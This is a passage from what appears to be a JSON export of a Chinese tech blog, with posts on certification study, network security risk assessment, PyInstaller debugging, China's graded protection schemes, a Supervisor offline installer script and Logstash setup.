29本书。因为2020年中旬的时候决定考通信工程师和信息安全工程师，所以其他书看得比较少了。经过几个月的努力，顺利通过了通信工程师和信息安全工程师的考试。虽然2020年年初立的flag很多都没有完成，完成了的效果也不是特别好，但是过了通信工程师和信息安全工程师心里稍微有点宽慰。毕竟2020年努力过。\n展望未来： 不管怎么样，2020年已经成为过去式了。崭新的2021已经来到，先立下2021年的flag。\n2021年flag:\n考CISP 考一建 发两篇论文 至少写30篇博客文章 完成12本英文原著 完成50本书籍的阅读量 2021加油！\n","permalink":"http://xiejava.ishareread.com/posts/2021-01-01-%E5%86%8D%E8%A7%812020/","summary":"\u003cp\u003e今天是2021年1月1日，按照惯例应该是回忆过去展望未来的一天。\u003c/p\u003e\n\u003ch2 id=\"回忆过去\"\u003e回忆过去：\u003c/h2\u003e\n\u003cp\u003e在过去的一年里，曾今在2020年立下的flag是否都实现了呢？\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2020的flag：\u003c/strong\u003e\u003c/p\u003e","title":"再见2020,2021我来了！"},{"content":"\n工作这么多年了，我为什么还在考证？\n因为以前一直没有考过啊！\n毕业以来参加工作后，一直以来认为考证没有啥用处。一方面，因为找工作太过顺利，那会儿找工作也没有看到别人拿什么证去找工作，也没有看到那家公司的招聘广告上写需要什么什么证书。另一方面，由于才从学校出来对于学习考试有种天然的排斥。想想这么多年以来一直都是在学习考试。好不容易毕业了那还不好好放松一下。现在回想起来真是too young,too simple。\n工作这么多年，都是在从事研发相关的工作。一开始写代码，要学的东西挺多的，从毕业时候的ASP到Java。能够完成工作任务，能够做出东西来才是硬道理。后来做项目经理，产品经理也是没有经过系统的培训和学习，在项目中磨练在项目中成长。在公司也带了几个重点大项目，项目也交付得令公司和客户比较满意。想想这研发和项目管理就那么回事。貌似所有的公司都是一样，不管你用什么办法，能够搞定项目的就是好的项目经理。至于有没有证没人关注。甚至公司过CMMI5的时候，我带的项目被抽为参审项目，我还没有系统的学过项目管理。虽然CMMI5已经过了，但是总感觉过得挺虚的。基本上就是在咨询公司的指导下，要你干什么就干什么，要你准备什么就准备什么。至于为啥是这样完全是懵逼。\n人过中年，似乎不管到哪里都充满着危机感。以前自以为自己技术很牛逼，项目管理方面也是相当的OK。随着时间的推移这种自信心慢慢的越来越消退。大家都说搞IT的就是吃青春饭。就像随着年龄的增长，身体越来虚一样，心里也是越来越虚。心里虚了以后就想自己应该多学习提高自己。但是一段时间发现要学的东西实在是太多了，技术的、管理的。东一下西一下的，也没有什么效果。后来自己总结了一下，没有目标的学习都是假装在学习，只不过是安慰自己罢了。一定要给自己定个目标要学哪个方向，而检验学习效果的办法非常简单粗暴\u0026ndash;考证。以考促学。能够考证通过不能说明你学得有多么的精深，至少也说明你达到了基本的平均水平。没有考试就没有压力，一本书拖拖拉拉看了一年还在看。而考试时间临近的压力对于深度拖延症患者也是一个很好的治愈方式。\n就这样，我给自己制定的第一个学习目标就是系统的学习项目管理的理论体系，所以报了软考的信息系统项目管理师。经过半年多的学习顺利的拿到了信息系统项目管理师的证。学习的时候还是有一些感触，原来自己在平时的项目管理工作中还是有理论支撑的，人家在书中就已经写了。一些平时没有注意考虑到的点书上也有总结。回想起自己带的项目过CMMI5和过ISO认证等，以及公司的项目管理体系和质量管理体系结合书中的知识点，至少把我零散的一些项目管理知识和经验给系统化、体系化的联系起来了，让我对项目管理有了更深切的理解。尤其是在后来信息系统项目管理师考试写论文的时候，就能够可以很好的理论联系实践。\n嗯，工作这么多年，我终于可以持证上岗了！\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-12-21-%E5%B7%A5%E4%BD%9C%E8%BF%99%E4%B9%88%E5%A4%9A%E5%B9%B4%E4%BA%86%E6%88%91%E4%B8%BA%E4%BB%80%E4%B9%88%E8%BF%98%E5%9C%A8%E8%80%83%E8%AF%81/","summary":"\u003cp\u003e\u003cimg alt=\"学习学习\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2020/20201218/%E5%AD%A6%E4%B9%A0%E5%AD%A6%E4%B9%A0.png\"\u003e\u003c/p\u003e\n\u003cp\u003e工作这么多年了，我为什么还在考证？\u003c/p\u003e\n\u003cp\u003e因为以前一直没有考过啊！\u003c/p\u003e\n\u003cp\u003e毕业以来参加工作后，一直以来认为考证没有啥用处。一方面，因为找工作太过顺利，那会儿找工作也没有看到别人拿什么证去找工作，也没有看到那家公司的招聘广告上写需要什么什么证书。另一方面，由于才从学校出来对于学习考试有种天然的排斥。想想这么多年以来一直都是在学习考试。好不容易毕业了那还不好好放松一下。现在回想起来真是too young,too simple。\u003c/p\u003e","title":"工作这么多年了，我为什么还在考证"},{"content":"网络信息安全管理要素由网络管理对象、网络威胁、网络脆弱性、网络风险、网络保护措施组成。 由于网络管理对象自身的脆弱性，使得威胁的发生成为可能，从而造成了不同的影响，形成了风险。\n网络安全管理实际上就是风险控制，其基本过程是通过网络管理对象的威胁和脆弱性进行分析，确定网络管理对象的价值、网络管理对象威胁发生的可能性、网络管理对象的脆弱程度，从而确定网络管理对象的风险等级，然后据此选取合适的安全保护措施，降低网络管理对象的风险。\n所有的安全管理、安全服务、安全技术等都是围绕网络信息安全管理要素来的。\n网络安全风险评估是评价网络信息系统遭受潜在的安全威胁所产生的影响。\n网络安全风险，是指由于网络系统所存在的脆弱性，因人为或自然的威胁导致安全事件发生所造成的可能性。网络风险评估就是评估威胁者利用网络资产的脆弱性，造成网络资产损失的严重程度。\n网络安全风险评估过程，主要包括网络安全风险评估准备、资产识别、威胁识别、脆弱性识别、已有的安全措施分析、网络安全风险分析、网络安全风险处置与管理等。 资产识别包含“网络资产鉴定”和“网络资产价值估算”。前者给出评估所考虑的具体对象，确认网络资产种类和清单，是整个评估工作的基础。常见的网络资产主要分为网络设备、主机、服务器、应用、数据和文档资产等六个方面。\n“网络资产价值估算”是某一具体资产在网络系统中的重要程度确认。\n威胁是指可能对评估对象造成损害的外部原因。威胁利用评估对象自身的脆弱性，采用一定的途径和方式，对评估对象造成损害或损失，从而形成风险，威胁识别是对网络资产有可能受到的安全危害进行分析，一般从威胁来源、威胁途径、威胁意图等几个方面来分析。\n脆弱性是指评估对象存在一个或多个脆弱的管理、技术、业务方面的漏洞，这些漏洞可能会被威胁所利用。脆弱性识别是指通过各种测试方法，获得网络资产中所存在的缺陷清单，这些缺陷会导致对信息资产的非授权访问、泄密、失控、破坏或不可用、绕过已有的安全机制，缺陷的存在将会危及网络资产的安全。\n任务 输出文档 文档内容 风险评估准备 会议记录并确认需要评估的系统、评估计划和评估程序 评估系统、评估计划和内容安排，双方负责人及需要明确的协调工作 访谈 针对业务系统进行技术安全和管理安全评估的访谈表 业务系统描述、运营情况和用户群体，并了解业务管理流程 文档审查（资产识别） 资产审查记录和业务系统审查记录 资产管理台账、网络拓扑图、业务运营管理制度和责任人 威胁识别 技术安全测评的网络、主机、应用测评结果记录，工具测试完成后的电子输出记录 漏洞扫描、渗透性测试、性能测试、入侵检测和协议分析等内容的技术测试结果 脆弱性识别 根据威胁识别结果，技术安全测评的网络、主机、应用测评 检查检查内容的记录，并根据威胁对业务系统脆弱性进行识别 风险处置 风险处置措施记录 对已识别的风险进行评估和处置，并评估是否存在残余风险 风险管理 对可接受的残余风险进行风险管理并出具风险评估报告 风险评估过程中发现的问题、问题的证据和证据源、每项检查活动中测评委托单位配合人员的书面认可 网络安全风险分析是指在资产评估、威胁评估、脆弱性评估、安全管理评估、安全影响评估的基础上，综合利用定性和定量的分析方法，选择适当的风险计算方法或工具确定风险的大小与风险等级，即对网络系统安全管理范围内的每一个网络资产因遭受泄露、修改、不可用和破坏所带来的任何影响做出一个风险测量的列表，以便识别与选择适当和正确的安全控制方式。通过分析所评估的数据，进行风险值计算。\n网络安全风险分析的主要步骤如下： 一、对资产进行识别，并对资产的价值进行赋值。 二、对威胁进行识别，描述威胁的属性，并对威胁出现的频率赋值。 三、对脆弱性进行识别，并对具体资产的脆弱性的严重程度赋值。 四、根据威胁及威胁利用脆弱性的难易程度判断安全事件发生的可能性 五、根据脆弱性的严重程度及安全事件所作用的资产价值计算安全事件的损失。 六、根据安全事件发生的可能性及安全事件出现后的损失，计算安全事件一旦发生对组织的影响，即网络安全风险值。其中，安全事件损失是指确定已经鉴定的资产受到损害所带来的影响。\n作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-12-04-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%A6%81%E7%B4%A0%E5%92%8C%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9%E8%AF%84%E4%BC%B0/","summary":"\u003cp\u003e网络信息安全管理要素由网络管理对象、网络威胁、网络脆弱性、网络风险、网络保护措施组成。\n\u003cimg alt=\"网络信息安全管理要素\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2020/20201204/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%A6%81%E7%B4%A0.png\"\u003e\n由于网络管理对象自身的脆弱性，使得威胁的发生成为可能，从而造成了不同的影响，形成了风险。\u003c/p\u003e","title":"网络信息安全管理要素和安全风险评估"},{"content":"最近用python的tkinter写了个小工具，发现用pyinstaller打包成exe后运行出错。报Failed to execute script XXXX\n1 pyinstaller -F -w worksubmit.py 为了搞清楚报错的原因，想看到程序具体执行的情况。可以通过不带-w的参数打包在控制台看程序执行情况。 pyinstaller -F worksubmit.py 可以通过不带-w的参数打包，这时打包的exe运行是带控制台的命令行\n可以清楚的看到\nModuleNotFoundError:No module named \u0026lsquo;xlrd\u0026rsquo;\n这时就要解决打包时xlrd模块没有打进去的问题，找到xlrd模块的位置，并将该模块打到运行程序包里。 先找到程序依赖的xlrd模块的位置，在PyCharm中通过\u0026quot;File\u0026quot;-\u0026gt;\u0026ldquo;Setting\u0026rdquo;,在项目设置里查看Project interpreter，可以看到xlrd的目录位置。\n用pyinstall打包的时候通过加-p的参数将依赖的模块打进去。\n1 pyinstaller -F -p J:\\study\\python\\testsubmit\\venv\\Lib\\site-packages worksubmit.py 这样就可以顺利将依赖的模块打进去，再执行exe文件不再报错了。\n总结一下，碰到打包成exe后运行有问题，可以通过不带-w的参数打包，这时打包的exe运行是带控制台的命令行。基本上所有的运行问题都可以通过控制台的命令定位和排查。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-11-03-pyinstaller%E6%89%93%E5%8C%85exe%E5%90%8E%E4%B8%8D%E8%83%BD%E8%BF%90%E8%A1%8C%E6%8A%A5failed-to-execute-script-xxxx%E9%97%AE%E9%A2%98%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%84%E7%90%86/","summary":"\u003cp\u003e最近用python的tkinter写了个小工具，发现用pyinstaller打包成exe后运行出错。报Failed to execute script XXXX\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003epyinstaller -F -w worksubmit.py\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e\u003cimg alt=\"报错\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2020/20201101/%E6%8A%A5%E9%94%99.png\"\u003e\u003c/p\u003e\n\u003cp\u003e为了搞清楚报错的原因，想看到程序具体执行的情况。可以通过不带-w的参数打包在控制台看程序执行情况。\n\u003ccode\u003epyinstaller -F worksubmit.py\u003c/code\u003e 可以通过不带-w的参数打包，这时打包的exe运行是带控制台的命令行\u003c/p\u003e","title":"pyinstaller打包exe后不能运行报Failed to execute script XXXX问题分析与处理"},{"content":"等级保护与分级保护既有联系又有区别：\n国家安全信息等级保护，重点保护的对象是非涉密的涉及国计民生的重要信息系统和通信基础信息系统；涉密信息系统分级保护是国家信息安全等级保护的重要组成部分，是等级保护在涉密领域的具体体现。\n国家安全信息等级保护重点保护的对象是涉及国计民生的重要信息系统和通信基础信息系统，而不论它是否涉密。涉密信息系统分级保护保护的对象是所有涉及国家秘密的信息系统，重点是党政机关、军队和军工单位，由各级保密工作部门根据涉密信息系统的保护等级实施监督管理，确保系统和信息安全，确保国家秘密不被泄漏。\n国家信息安全等级保护是国家从整体上、根本上解决国家信息安全问题的办法,进一步确定了信息安全发展的主线和中心任务,提出了总体要求。对信息系统实行等级保护是国家法定制度和基本国策，是开展信息安全保护工作的有效办法，是信息安全保护工作的发展方向。而涉密信息系统分级保护则是国家信息安全等级保护在涉及国家秘密信息的信息系统中的特殊保护措施与方法。\n等级保护与分级保护本质的区别是等级保护适用的对象为非涉密信息系统，分级保护适用的对象为涉密信息系统。\n具体区别如下：\n项目 等级保护 分级保护 管理体系 公安机关 国家保密部门 标准体系 国家标准（GB、GB/T） 国家保密标准（BMB，强制执行） 适用对象 非涉密信息系统 涉密信息系统 定级依据 等级保护定级是依据重要业务系统与承载业务运行的网络、设备、系统及单位属性、遭到破坏后所影响的主、客体关系等。 分级保护定级是依据信息的重要性，以信息最高密级确定受保护的级别。 级别划分 第一级：自主保护级\n第二级：指导保护级\n第三极：监督保护级\n第四级：强制保护级\n第五级：专控保护级 秘密级\n机密级\n绝密级 工作内容 信息系统等级保护工作包括：\n系统定级、系统备案、安全建设整改、等级测评和监督检查五个环节。 涉密信息系统分级保护工作包括:\n系统定级、方案设计、工程实施、系统测评、系统审批、日常管理、测评与检查和系统废止八个环节。 测评频率 第三级信息系统：应每年至少进行一次等级测评；\n第四级信息系统：应每年至少进行一次等级测评；\n第五级信息系统：应当根据特殊安全要求进行等级测评。 秘密级、机密级信息系统：应每两年至少进行一次安全保密测评或保密检查；\n绝密级信息系统：应每年至少进行一次安全保密测评或保密检查。 评测机构 国家信息安全等级保护工作协调小组办公室授权的信息安全等级保护测评机构 由国家保密工作部门授权的系统测评机构 ","permalink":"http://xiejava.ishareread.com/posts/2020-10-24-%E7%AD%89%E7%BA%A7%E4%BF%9D%E6%8A%A4%E4%B8%8E%E5%88%86%E7%BA%A7%E4%BF%9D%E6%8A%A4%E7%9A%84%E5%85%B3%E7%B3%BB%E5%92%8C%E5%8C%BA%E5%88%AB/","summary":"\u003cp\u003e等级保护与分级保护既有联系又有区别：\u003c/p\u003e\n\u003cp\u003e国家安全信息等级保护，重点保护的对象是非涉密的涉及国计民生的重要信息系统和通信基础信息系统；涉密信息系统分级保护是国家信息安全等级保护的重要组成部分，是等级保护在涉密领域的具体体现。\u003c/p\u003e","title":"等级保护与分级保护的关系和区别"},{"content":"Supervisor是用Python开发的一套通用的进程管理程序，能将一个普通的命令行进程变为后台daemon，并监控进程状态，异常退出时能自动重启。它是通过fork/exec的方式把这些被管理的进程当作supervisor的子进程来启动，这样只要在supervisor的配置文件中，把要管理的进程的可执行文件的路径写进去即可。也实现当子进程挂掉的时候，父进程可以准确获取子进程挂掉的信息的，可以选择是否自己启动和报警\nsupervisor的安装有多种方式 配置好yum源后，可以直接安装\n1 yum install supervisor Debian/Ubuntu可通过apt安装\n1 apt-get install supervisor pip安装\n1 pip install supervisor easy_install安装\n1 easy_install 这几种安装方式都需要在线联网。但大部分的生产环境都是离线环境，是封闭的网络没有办法在线安装。\n这里整理了Supervisor的离线安装包和安装脚本，可以进行离线安装并能指定安装目录。\n一、整理Supervisor安装需要的工具和依赖包 包括有： setuptools elementtree meld3 supervisor\n二、编写离线安装脚本 整体思路：依次解压并安装Supervisor所需要的工具和依赖包，将Supervisor的配置文件的默认安装目录路径替换成制定的目录路径\n1 vi install_supervisor.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/env bash function Install_Supervisor() { #Install supervisord tar -zxvf setuptools-24.0.2.tar.gz 2\u0026gt;\u0026amp;1 \u0026gt;/dev/null cd setuptools-24.0.2/ python setup.py install \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 cd .. easy_install elementtree-1.2.7-20070827-preview.zip \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 easy_install meld3-0.6.5.tar.gz 2\u0026gt;/dev/null 2\u0026gt;\u0026amp;1 easy_install supervisor-3.3.0.tar.gz \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 mkdir -p ${INSTALL_DIR}/etc/ mkdir -p ${INSTALL_DIR}/tmp/ mkdir -p ${INSTALL_DIR}/logs/ cp etc/supervisord.conf ${INSTALL_DIR}/etc/ sed -i \u0026#34;s#__install_dir__#${INSTALL_DIR}#g\u0026#34; ${INSTALL_DIR}/etc/supervisord.conf sed -i \u0026#34;s#__user__#${USER}#g\u0026#34; ${INSTALL_DIR}/etc/supervisord.conf ln -s /usr/bin/supervisorctl ${INSTALL_DIR}/commandctl cp run_supervisor.sh ${INSTALL_DIR}/ sed -i \u0026#34;s#__install_dir__#${INSTALL_DIR}#g\u0026#34; ${INSTALL_DIR}/run_supervisor.sh chmod +x ${INSTALL_DIR}/run_supervisor.sh } USER=\u0026#39;root\u0026#39; if [ ! -n \u0026#34;$1\u0026#34; ]; then INSTALL_DIR=\u0026#39;/app/supervisor\u0026#39; else INSTALL_DIR=$1 fi Install_Supervisor 安装脚本中默认的安装路径是/app/supervisor，可以根据实际情况进行调整。\n另外整理了一个run_supervisor.sh的脚本，在安装以后根据安装目录来生成这个启动脚本。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/env bash cd __install_dir__ if [ ! -d \u0026#34;tmp\u0026#34; ];then mkdir tmp else echo \u0026#34;tmp文件夹已经存在\u0026#34; fi if [ ! -d \u0026#34;logs\u0026#34; ];then mkdir logs else echo \u0026#34;logs文件夹已经存在\u0026#34; fi /usr/bin/supervisord -c __install_dir__/etc/supervisord.conf echo \u0026#34;supervisord 已执行。\u0026#34; 三、将所有的安装包脚本等打成离线安装包 1 tar -czvf supervisor_install_pack.tar.gz supervisor 已打好的离线安装包下载 https://545c.com/file/21165215-443895501 城通网盘下载 https://545c.com/file/21165215-443895501 CSDN下载 https://download.csdn.net/download/fullbug/12434225\n四、离线安装包使用 下载离线安包，解压\n1 tar -zxvf supervisor_install_pack.tar.gz 解压后看到supervisor的目录，在supervisor的目录中找到install_supervisor.sh的脚本 执行install_supervisor.sh的脚本，默认安装/app/supervisor下，可以带参数指定安装目录。也可以修改install_supervisor.sh脚本自定义默认的安装路径。 执行完安装脚本，就可以在/app/supervisor目录下看到有相应的启动脚本、配置文件目录、日志目录及临时文件目录。 执行run_supervisor.sh就可以启动supervisor\n1 ./run_supervisor.sh 五、验证和使用supervisor ps -ef|grep supervisor 查看supervisor是否已经启动\n通过web界面的9001看web界面控制台http://127.0.0.1:9001\nsupervisord 运行 Supervisor 时会启动一个进程 supervisord，它负责启动所管理的进程，并将所管理的进程作为自己的子进程来启动，而且可以在所管理的进程出现崩溃时自动重启。 supervisord -v 查看supervisor版本号\nsupervisorctl 是命令行管理工具，可以用来执行 stop、start、restart 等命令，来对这些子进程进行管理。 supervisor是所有进程的父进程，管理着启动的子进展，supervisor以子进程的PID来管理子进程，当子进程异常退出时supervisor可以收到相应的信号量。\nsupervisor常用管理命令 supervisorctl restart \u0026lt; application name\u0026gt; ;重启指定应用 supervisorctl stop \u0026lt; application name\u0026gt; ;停止指定应用 supervisorctl start \u0026lt; application name\u0026gt; ;启动指定应用 supervisorctl restart all ;重启所有应用 supervisorctl stop all ;停止所有应用 supervisorctl start all ;启动所有应用\n六、配置文件说明 supervisor.conf配置文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [unix_http_server] file=/tmp/supervisor.sock ;UNIX socket 文件，supervisorctl 会使用 ;chmod=0700 ;socket文件的mode，默认是0700 ;chown=nobody:nogroup ;socket文件的owner，格式：uid:gid ;[inet_http_server] ;HTTP服务器，提供web管理界面 ;port=127.0.0.1:9001 ;Web管理后台运行的IP和端口，如果开放到公网，需要注意安全性 ;username=user ;登录管理后台的用户名 ;password=123 ;登录管理后台的密码 [supervisord] logfile=/tmp/supervisord.log ;日志文件，默认是 $CWD/supervisord.log logfile_maxbytes=50MB ;日志文件大小，超出会rotate，默认 50MB，如果设成0，表示不限制大小 logfile_backups=10 ;日志文件保留备份数量默认10，设为0表示不备份 loglevel=info ;日志级别，默认info，其它: debug,warn,trace pidfile=/tmp/supervisord.pid ;pid 文件 nodaemon=false ;是否在前台启动，默认是false，即以 daemon 的方式启动 minfds=1024 ;可以打开的文件描述符的最小值，默认 1024。注意托管ES进程，这里要进行调整至65535 minprocs=200 ;可以打开的进程数的最小值，默认 200。注意托管ES进程，这里要进行调整至4096 [supervisorctl] serverurl=unix:///tmp/supervisor.sock ;通过UNIX socket连接supervisord，路径与unix_http_server部分的file一致 ;serverurl=http://127.0.0.1:9001 ; 通过HTTP的方式连接supervisord ; [program:xx]是被管理的进程配置参数，xx是进程的名称 [program:xx] command=/opt/apache-tomcat-8.0.35/bin/catalina.sh run ; 程序启动命令 autostart=true ; 在supervisord启动的时候也自动启动 startsecs=10 ; 启动10秒后没有异常退出，就表示进程正常启动了，默认为1秒 autorestart=true ; 程序退出后自动重启,可选值：[unexpected,true,false]，默认为unexpected，表示进程意外杀死后才重启 startretries=3 ; 启动失败自动重试次数，默认是3 user=tomcat ; 用哪个用户启动进程，默认是root priority=999 ; 进程启动优先级，默认999，值小的优先启动 redirect_stderr=true ; 把stderr重定向到stdout，默认false stdout_logfile_maxbytes=20MB ; stdout 日志文件大小，默认50MB stdout_logfile_backups = 20 ; stdout 日志文件备份数，默认是10 ; stdout 日志文件，需要注意当指定目录不存在时无法正常启动，所以需要手动创建目录（supervisord 会自动创建日志文件） stdout_logfile=/opt/apache-tomcat-8.0.35/logs/catalina.out stopasgroup=false ;默认为false,进程被杀死时，是否向这个进程组发送stop信号，包括子进程 killasgroup=false ;默认为false，向进程组发送kill信号，包括子进程 ;包含其它配置文件 [include] files = supervisord.d/*.ini ;默认放在安装目录的supervisord.d目录下，可以指定一个或多个以.ini结束的配置文件。 子进程配置文件 需要给托管的子进程配置相应的配置文件，每个进程的配置文件都可以单独分拆也可以把相关的脚本放一起。目录及文件后缀可以在 supervisor.conf配置文件中进行自定义。见supervisor.conf的\n1 2 [include] files = supervisord.d/*.ini #目录路径及文件后缀名都可以自定义。 logstash.ini 样例说明：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #项目名 [program:logstash-test] #脚本目录 directory=/app/elk/logstash-7.6.0 #脚本执行命令 command=/app/elk/logstash-7.6.0/bin/logstash -f /app/elk/logstash-7.6.0/bin/test-pipeline.conf #进程数 numprocs=1 #supervisor启动的时候是否随着同时启动，默认True autostart=true #当程序exit的时候，这个program不会自动重启,默认unexpected，设置子进程挂掉后自动重启的情况，有三个选项，false,unexpected和true。如果为false的时候，无论什么情况下，都不会被重新启动，如果为unexpected，只有当进程的退出码不在下面的exitcodes里面定义的 autorestart=false #这个选项是子进程启动多少秒之后，此时状态如果是running，则我们认为启动成功了。默认值为1 startsecs=1 #脚本运行的用户身份 user = root #把stderr重定向到stdout，默认 false redirect_stderr = true #stdout日志文件大小，默认 50MB stdout_logfile_maxbytes = 10M #stdout日志文件备份数 stdout_logfile_backups = 10 #日志输出 stderr_logfile=/app/elk/logstash-7.6.0/logs/logstash_test_error.log stdout_logfile=/app/elk/logstash-7.6.0/logs/logstash_test_out.log 作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-05-18-supervisor%E7%A6%BB%E7%BA%BF%E5%AE%89%E8%A3%85%E5%8F%8A%E4%BD%BF%E7%94%A8/","summary":"\u003cp\u003eSupervisor是用Python开发的一套通用的进程管理程序，能将一个普通的命令行进程变为后台daemon，并监控进程状态，异常退出时能自动重启。它是通过fork/exec的方式把这些被管理的进程当作supervisor的子进程来启动，这样只要在supervisor的配置文件中，把要管理的进程的可执行文件的路径写进去即可。也实现当子进程挂掉的时候，父进程可以准确获取子进程挂掉的信息的，可以选择是否自己启动和报警\u003c/p\u003e","title":"Supervisor离线安装及使用"},{"content":"一、logstash是什么 Logstash 是开源的服务器端数据处理管道，能够同时从多个来源采集数据，转换数据，然后将数据发送到您最喜欢的“存储库”中。 官方介绍：Logstash is an open source data collection engine with real-time pipelining capabilities。简单来说logstash就是一根具备实时数据传输能力的管道，负责将数据信息从管道的输入端传输到管道的输出端；与此同时这根管道还可以让你根据自己的需求在中间加上滤网，Logstash提供里很多功能强大的滤网以满足你的各种应用场景。 Logstash 能够动态地采集、转换和传输数据，不受格式或复杂度的影响。利用 Grok 从非结构化数据中派生出结构，从 IP 地址解码出地理坐标，匿名化或排除敏感字段，并简化整体处理过程。\nLogstash常用于日志关系系统中做日志采集设备； 系统结构 Logstash的事件（logstash将数据流中等每一条数据称之为一个event）处理流水线有三个主要角色完成：inputs –\u0026gt; filters –\u0026gt; outputs：\n输入（inpust）：必须，负责产生事件（Inputs generate events），常用：File、syslog、redis、beats（如：Filebeats） Logstash 支持 各种输入选择 ，可以在同一时间从众多常用来源捕捉事件。能够以连续的流式传输方式，轻松地从日志、指标、Web 应用、数据存储以及各种 AWS 服务采集数据。\n过滤器（filters）：可选，负责数据处理与转换（filters modify them），常用：grok、mutate、drop、clone、geoip 过滤器能实时解析和转换数据 数据从源传输到存储库的过程中，Logstash 过滤器能够解析各个事件，识别已命名的字段以构建结构，并将它们转换成通用格式，以便更轻松、更快速地分析和实现商业价值。\n利用 Grok 从非结构化数据中派生出结构 从 IP 地址破译出地理坐标 将 PII 数据匿名化，完全排除敏感字段 简化整体处理，不受数据源、格式或架构的影响 输出（outpus）：必须，负责数据输出（outputs ship them elsewhere），常用：elasticsearch、file、graphite、statsd Logstash 提供众多输出选择，可以将数据发送到指定的地方，并且能够灵活地解锁众多下游用例\n其中inputs和outputs支持codecs（coder\u0026amp;decoder）在1.3.0 版之前，logstash 只支持纯文本形式输入，然后以过滤器处理它。但现在，我们可以在输入 期处理不同类型的数据，所以完整的数据流程应该是：input | decode | filter | encode | output；codec 的引入，使得 logstash 可以更好更方便的与其他有自定义数据格式的运维产品共存，比如：graphite、fluent、netflow、collectd，以及使用 msgpack、\n二、为什么是logstash Logstash和Flume对比 1、Logstash比较偏重于字段的预处理，在异常情况下可能会出现数据丢失，只是在运维日志场景下，一般认为这个可能不重要；而Flume偏重数据的传输，几乎没有数据的预处理，仅仅是数据的产生，封装成event然后传输；传输的时候flume比logstash多考虑了一些可靠性。因为数据会持久化在channel中，数据只有存储在下一个存储位置（可能是最终的存储位置，如HDFS；也可能是下一个Flume节点的channel），数据才会从当前的channel中删除。这个过程是通过事务来控制的，这样就保证了数据的可靠性。 2、Logstash有几十个插件，配置比较灵活，flume强调用户自定义开发； 3、Logstash的input和filter还有output之间都存在buffer，进行缓冲；Flume直接使用channel做持久化 4、Logstash性能以及资源消耗比较严重，且不支持缓存； 详见参考：https://blog.csdn.net/songfeihu0810232/article/details/94406608\n三、logstash安装与配置 1、logstash安装 环境要求：jdk1.8或以上 下载logstash软件包 logstash官方下载地址https://www.elastic.co/cn/downloads/logstash 下载后直接解压就可以用 如：tar zxvf logstash-7.6.0.tar.gz 解压后目录如下： 目录结构说明见官方文档：https://www.elastic.co/guide/en/logstash/7.1/dir-layout.html 解压以后可以对logstash进行简单的测试。\n1 bin/logstash -e \u0026#39;input { stdin { } } output { stdout {} }\u0026#39; 这条命令表示通过命令的方式指定logstash的输入输出分别是标准的输入输出，什么是标准的输入输出呢？就是控制台的输入输出。 等待启动成功，直接输入“hello world” 将会在控制台会有相应的输出 出现这些信息就表示logstash安装成功并且可以使用了。 2、在线安装logstash插件 虽然logstash默认安装了大部分的插件，但是有些插件没有默认安装，如logstash-output-syslog、logstash-output-jdbc\n2.1. 安装Gem并更新 1 2 3 4 5 6 # yum install -y gem # gem -v 2.0.14.1 # gem update --system # gem -v 3.1.2 2.2 检查并修改镜像源 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # gem sources -l *** CURRENT SOURCES *** https://rubygems.org/ # gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/ https://gems.ruby-china.com/ added to sources https://rubygems.org/ removed from sources # cat ~/.gemrc --- :backtrace: false :bulk_threshold: 1000 :sources: - https://gems.ruby-china.com/ :update_sources: true :verbose: true :concurrent_downloads: 8 请注意：国内的镜像站从https://gems.ruby-china.org 换成了 https://gems.ruby-china.com ！！！现在很多网上的资料就都是写的https://gems.ruby-china.org，导致很多人换了镜像源也装不上。\n2.3. 修改 logstash的 gem 镜像源 cd到logstach的安装目录，可以看到Gemfile文件 vi Gemfile\n1 2 3 4 5 6 # This is a Logstash generated Gemfile. # If you modify this file manually all comments and formatting will be lost. source \u0026#34;https://rubygems.org\u0026#34; gem \u0026#34;logstash-core\u0026#34;, :path =\u0026gt; \u0026#34;./logstash-core\u0026#34; ...... 更改默认的 https://rubygems.org 